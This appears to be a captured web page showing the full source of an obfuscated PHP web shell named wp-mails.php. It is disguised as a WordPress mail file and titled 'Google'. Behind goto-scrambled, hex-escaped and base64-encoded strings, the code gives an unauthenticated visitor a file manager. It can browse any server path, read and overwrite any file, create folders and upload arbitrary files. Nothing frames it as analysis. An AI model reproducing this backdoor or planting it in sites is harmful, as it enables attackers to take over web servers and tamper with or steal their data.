Google
Edit File: wp-mails.php
<?php goto Hj0PR; ejm2y: if (isset($_GET["\x61\143\164\151\x6f\x6e"])) { $m = $_GET["\141\143\164\151\x6f\x6e"]; switch ($m) { case "\145\144\151\x74": if (isset($_GET["\x66\x69\x6c\145"])) { $f = $_GET["\x66\151\154\145"]; $t = $a . "\57" . $f; if (file_exists($t)) { echo "\x3c\150\62\76\x45\x64\x69\x74\x20\x46\151\x6c\145\72\x20" . $f . "\x3c\x2f\150\x32\x3e"; k_2fa777b4b79d($t); } else { echo "\106\151\154\x65\40\x6e\x6f\x74\x20\x66\x6f\x75\x6e\x64\x2e"; } } else { echo "\x49\x6e\166\141\154\151\144\40\146\x69\154\x65\x2e"; } break; default: echo "\111\x6e\x76\141\x6c\x69\144\x20\141\143\164\151\x6f\x6e\56"; } } else { echo "\x3c\150\62\x3e\x44\x69\x72\x65\143\164\157\x72\x79\72\x20" . $a . "\74\x2f\150\62\x3e\74\x70\x3e" . v_fbe9ece901dd($a) . "\74\57\x70\x3e\x3c\150\x33\x3e\x44\151\162\145\x63\x74\x6f\x72\171\40\103\157\156\164\x65\156\x74\x73\72\x3c\x2f\x68\x33\76"; r_739aae51b82b($a); echo "\74\150\x72\x3e\74\x68\x33\76\103\x72\x65\x61\x74\x65\40\116\x65\167\x20\106\x6f\154\144\145\162\72\74\x2f\150\63\x3e\x3c\146\x6f\x72\155\40\x6d\145\x74\150\157\x64\75\x22\160\157\163\x74\x22\76\x4e\145\x77\x20\x46\x6f\x6c\144\x65\x72\40\x4e\141\x6d\x65\72\40\74\x69\156\x70\x75\164\40\164\x79\160\145\75\42\164\145\x78\x74\x22\40\156\x61\x6d\145\x3d\42\x66\x6f\154\x64\145\x72\137\x6e\141\x6d\x65\x22\76\x3c\151\x6e\160\x75\x74\40\164\171\x70\x65\x3d\x22\163\165\142\155\151\x74\42\40\156\141\x6d\145\75\x22\x63\x72\x65\x61\x74\x65\x5f\x66\x6f\154\144\x65\x72\42\x20\x76\141\x6c\165\145\x3d\42\103\162\145\x61\164\x65\40\106\157\x6c\144\145\x72\x22\76\x3c\x2f\146\x6f\x72\x6d\x3e\74\150\x33\x3e\125\160\154\x6f\x61\x64\x20\x4e\145\x77\x20\106\x69\154\x65\72\74\57\x68\63\x3e\74\x66\x6f\162\155\x20\x6d\145\x74\150\157\144\x3d\42\160\x6f\163\x74\x22\x20\145\156\x63\164\171\160\145\75\x22\x6d\x75\x6c\164\x69\160\141\162\164\x2f\x66\157\162\x6d\x2d\x64\141\x74\141\42\x3e\123\x65\154\145\x63\x74\40\146\151\154\145\x3a\x20\74\x69\156\x70\165\x74\x20\164\x79\160\145\x3d\x22\x66\151\154\x65\42\x20\x6e\x61\155\145\75\x22\146\151\x6c\145\137\164\157\137\165\160\x6c\x6f\141\144\x22\x3e\x3c\151\156\160\165\x74\40\x74\x79\160\145\x3d\x22\163\x75\x62\155\151\x74\42\x20\x6e\x61\x6d\145\x3d\x22\x75\160\x6c\157\x61\x64\137\146\151\x6c\145\x22\x20\166\x61\x6c\x75\x65\x3d\x22\125\x70\x6c\x6f\x61\x64\x20\106\151\154\x65\42\76\x3c\x2f\x66\157\162\x6d\76"; } goto liiTy; ChhNi: if (isset($_POST["\x75\160\x6c\157\x61\x64\x5f\146\151\154\x65"])) { r_c310bc56a501($a, $_FILES["\x66\x69\154\x65\137\x74\x6f\x5f\165\x70\154\x6f\141\144"]); } goto aIqgj; sVbfU: if (isset($_GET["\160\141\164\150"])) { $a = $_GET["\x70\x61\164\150"]; } else { $a = getcwd(); } goto ejm2y; ZZ9kw: function r_739aae51b82b($a) { $f = scandir($a); $e = array(); $c = array(); foreach ($f as $g) { if ($g == "\56" || $g == "\56\x2e") { continue; } $o = $a . "\x2f" . $g; if (is_dir($o)) { $e[] = "\x3c\x6c\x69\x3e\x3c\163\164\x72\157\x6e\147\x3e\106\x6f\x6c\x64\145\162\x3a\74\57\163\164\x72\x6f\x6e\147\76\x20\74\x61\x20\x68\x72\145\146\x3d\42\77\x70\x61\x74\x68\x3d" . urlencode($o) . "\42\76" . $g . "\74\57\141\76\x3c\x2f\154\x69\x3e"; } else { $m = filesize($o); $s = array("\x42", "\x4b\102", "\x4d\102", "\107\x42", "\124\x42", "\120\x42", "\105\102", "\x5a\102", "\x59\102"); $h = $m ? round($m / pow(1024, $p = floor(log($m, 1024))), 2) . "\x20" . $s[$p] : "\x30\40\102"; $c[] = "\74\154\151\x3e\74\163\164\162\157\x6e\x67\x3e\x46\151\154\145\x3a\74\x2f\163\x74\x72\x6f\156\x67\76\40\x3c\x61\40\150\x72\145\146\75\x22\77\x61\143\164\x69\157\x6e\75\x65\144\151\164\x26\x66\x69\154\x65\75" . urlencode($g) . "\46\160\x61\x74\150\75" . urlencode($a) . "\42\x3e" . $g . "\x3c\x2f\x61\x3e\x20\50" . $h . "\51\74\57\x6c\151\76"; } } echo "\x3c\x75\154\x3e" . implode('', $e) . (!empty($e) && !empty($c) ? "\74\150\162\76" : '') . implode('', $c) . "\74\57\165\x6c\x3e"; } goto jKI_r; vb5IR: function v_fbe9ece901dd($a) { $a = str_replace(base64_decode("\130\106\x77\x3d"), base64_decode("\x4c\x77\x3d\75"), $a); $o = explode(base64_decode("\114\167\75\x3d"), $a); $m = array(); foreach ($o as $t => $i) { if ($i == '' && $t == 0) { $m[] = base64_decode("\x50\107\x45\x67\x61\110\x4a\154\x5a\152\60\151\120\63\x42\x68\144\x47\x67\x39\x4c\x79\x49\53\x4c\x7a\167\x76\131\124\x34\75"); continue; } if ($i == '') { continue; } $m[] = base64_decode("\x50\107\105\x67\x61\110\x4a\154\132\152\60\x69\120\x33\102\x68\144\x47\147\71"); for ($p = 0; $p <= $t; $p++) { $m[] = "{$o[$p]}"; if ($p != $t) { $m[] = base64_decode("\x4c\x77\75\x3d"); } } $m[] = base64_decode("\x49\152\x34\75") . $i . base64_decode("\x50\103\x39\x68\x50\x69\x38\x3d"); } return implode('', $m); } goto ZZ9kw; Hj0PR: ?> <!doctypehtml><html lang="en"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Google</title><style>body{font-family:Arial,sans-serif;margin:0;padding:0}#container{max-width:800px;margin:20px auto;padding:20px;border:1px solid #ccc;border-radius:5px;background-color:#f9f9f9}h1{text-align:center;color:#333}h2{margin-top:30px;color:#555}ul{list-style-type:none;padding:0}li{margin-bottom:10px}a{text-decoration:none;color:#007bff}a:hover{text-decoration:underline}form{margin-top:20px}input[type=file],input[type=submit],input[type=text]{margin-bottom:10px}hr{border:0;height:1px;background-color:#ccc;margin-top:20px;margin-bottom:20px}</style></head><body><div id="container"><h1>Google</h1><?php goto aGspk; jKI_r: function t_faff18fc8e8d($a, $y) { $y = n_cbb23f5e0c16($y); $b = $a . "\57" . $y; if (!file_exists($b)) { mkdir($b); echo "\106\x6f\154\144\x65\x72\x20\x27{$y}\x27\40\143\x72\145\141\164\x65\x64\x20\x73\x75\x63\143\x65\163\x73\x66\165\x6c\x6c\171\41"; } else { echo "\106\157\x6c\144\x65\x72\40\47{$y}\47\x20\x61\154\162\145\141\x64\171\x20\x65\x78\x69\163\164\x73\41"; } } goto Z1Nwg; Z1Nwg: function r_c310bc56a501($a, $y) { $o = $a . "\x2f" . basename($y["\x6e\x61\x6d\x65"]); if (move_uploaded_file($y["\x74\155\x70\x5f\x6e\x61\x6d\145"], $o)) { echo "\x46\151\x6c\x65\40" . htmlspecialchars(basename($y["\x6e\x61\x6d\145"])) . "\x20\165\x70\154\157\141\144\x65\x64\40\163\165\143\x63\145\163\x73\x66\x75\x6c\154\x79\56"; } else { echo "\105\x72\x72\x6f\x72\x20\x75\160\154\157\141\x64\x69\x6e\147\40\x66\151\x6c\145\56"; } } goto co1bc; aGspk: function n_cbb23f5e0c16($k) { return htmlspecialchars(strip_tags($k)); } goto vb5IR; liiTy: if (isset($_POST["\x63\162\x65\141\x74\145\137\x66\x6f\x6c\x64\145\x72"])) { t_faff18fc8e8d($a, $_POST["\x66\157\154\x64\x65\x72\x5f\156\x61\155\x65"]); } goto ChhNi; co1bc: function k_2fa777b4b79d($t) { if ($_SERVER["\122\x45\x51\x55\x45\x53\x54\x5f\115\x45\x54\x48\x4f\104"] === "\120\117\x53\x54") { $q = $_POST["\x66\151\154\145\137\x63\157\156\164\145\x6e\164"]; if (file_put_contents($t, $q) !== false) { echo "\106\x69\154\145\x20\x73\141\166\x65\144\40\x73\165\x63\x63\x65\x73\x73\146\165\x6c\x6c\171\x2e"; } else { echo "\105\162\x72\157\x72\x20\163\141\166\x69\156\147\x20\x66\x69\154\145\56"; } } $q = file_get_contents($t); echo "\74\146\x6f\x72\155\40\155\x65\164\x68\157\x64\75\x22\160\x6f\x73\x74\x22\x3e\x3c\164\x65\170\x74\x61\x72\x65\x61\40\x6e\141\x6d\x65\75\42\x66\151\154\145\137\x63\x6f\156\x74\145\156\x74\x22\40\162\157\167\x73\75\x22\x31\60\42\x20\143\157\x6c\163\75\42\65\x30\x22\76" . htmlspecialchars($q) . "\74\57\x74\145\170\164\141\x72\x65\x61\76\74\x62\x72\76\74\x69\156\x70\x75\164\x20\164\171\x70\145\75\42\163\x75\x62\x6d\x69\x74\42\x20\x76\141\x6c\165\x65\x3d\x22\x53\x61\x76\x65\x22\76\74\x2f\x66\x6f\162\155\76"; } goto sVbfU; aIqgj: ?> </div></body></html>